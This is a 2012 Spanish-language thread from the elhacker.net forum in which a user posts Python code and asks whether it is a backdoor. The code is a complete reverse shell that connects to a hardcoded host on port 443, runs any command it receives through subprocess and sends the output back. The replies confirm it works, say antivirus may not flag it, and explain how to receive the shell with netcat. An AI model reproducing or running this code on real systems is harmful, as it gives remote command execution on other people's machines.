Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Danirs en 12 Agosto 2012, 15:51 pm



Título: Codigo fuente de un "Backdoor"
Publicado por: Danirs en 12 Agosto 2012, 15:51 pm
Buenas!

Encontre este codigo de un backdoor en un manual que tengo, que la verdad no se que hacia alli porque no era un manual de malware... pero bueno el caso es que no se si es un backdoor ya que no entiendo de python, tiene pinta de que si pero para salir de dudas lo posteo aqui, a ver si me podeis ayudar:

Código
  1. #!/usr/bin/python
  2. # imports here
  3. import socket,subprocess
  4. HOST = '172.16.32.137' # The remote host
  5. PORT = 443 # The same port as used by the server
  6. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7. # connect to attacker machine
  8. s.connect((HOST, PORT))
  9. # send we are connected
  10. s.send('[*] Connection Established!')
  11. # start loop
  12. while 1:
  13. # recieve shell command
  14. data = s.recv(1024)
  15. # if its quit, then break out and close socket
  16. if data == "quit": break
  17. # do shell command
  18. proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  19. # read output
  20. stdout_value = proc.stdout.read() + proc.stderr.read()
  21. # send output to attacker
  22. s.send(stdout_value)
  23. # close socket
  24. s.close()

Gracias!


Título: Re: Codigo fuente de un "Backdoor"
Publicado por: Karcrack en 12 Agosto 2012, 18:06 pm
Falta indentarlo. Aún así esto no es un backdoor, es una shell inversa. Ejecutas este código ,se conecta a 'HOST' por el puerto 'PORT' y obtienes una shell (cmd en caso de windows).

Si tienes alguna duda respecto al código pregunta, aunque está bien comentado.

Un saludo


Título: Re: Codigo fuente de un "Backdoor"
Publicado por: Danirs en 12 Agosto 2012, 18:20 pm
Muchas gracias por responder, ahora que me has aclarado me asaltan las dudas:

Si lo quiero testear en mi otro ordenador lo unico que tengo que hacer es poner el formato de python y ejecutarlo no? y si lo ejecuto una vez en el ordenador me saldra la shell del otro y al apagar el ordenador victima se pierde la conexion y tendria que volver a ejecutarlo?

Esto lo detectan lo AV? Porque en el manual salia que era indetectable a 43 AV...no lo creo la verdad

Funciona tambien en linux?

Gracias!  ;D


Título: Re: Codigo fuente de un "Backdoor"
Publicado por: Karcrack en 12 Agosto 2012, 18:45 pm
En teoría este código funciona bajo cualquier SO en el que puedas instalar el intérprete Python.
Es posible que ningún AV lo detecte, pero has de saber que cualquier Firewall saltaría en el intento de conexión remota.

Respecto a la forma de uso: Esto se ejecuta en el ordenador del cual quieres obtener la shell y desde donde se controla ésta (es decir, el 'HOST') tienes que tener algo para enviar los comandos. Puedes hacerte tu mismo otro script en Python o bien usar el netcat que es una herramienta muy útil en estos casos. Tan sólo tienes que bindear el puerto 'PORT' y empezar a enviar comandos.


Título: Re: Codigo fuente de un "Backdoor"
Publicado por: Danirs en 12 Agosto 2012, 18:58 pm
Gracias por responder.

Y no vale un puerto cualquiera para poner no? 443 es el que viene por defecto, entonces es el mejor para estas ocasiones?

Gracias! (Perdon por mi ignorancia no se mucho de esto xD)


Título: Re: Codigo fuente de un "Backdoor"
Publicado por: Karcrack en 12 Agosto 2012, 23:07 pm
Nadie nace sabiendo. El puerto es indiferente. Hay algunos puertos reservados para distintos tipos de protocolos (p.e: http -> 80). Pero eso no impide que se use para cualquier otra función, aún así puede que el puerto esté ya bindeado y no puedas usarlo.

+Info:
Citar
http://es.wikipedia.org/wiki/Puerto_de_red


Título: Re: Codigo fuente de un "Backdoor"
Publicado por: Danirs en 12 Agosto 2012, 23:26 pm
Pues muchas gracias por responder me aclaraste todas las dudas Gracias! ;D ;D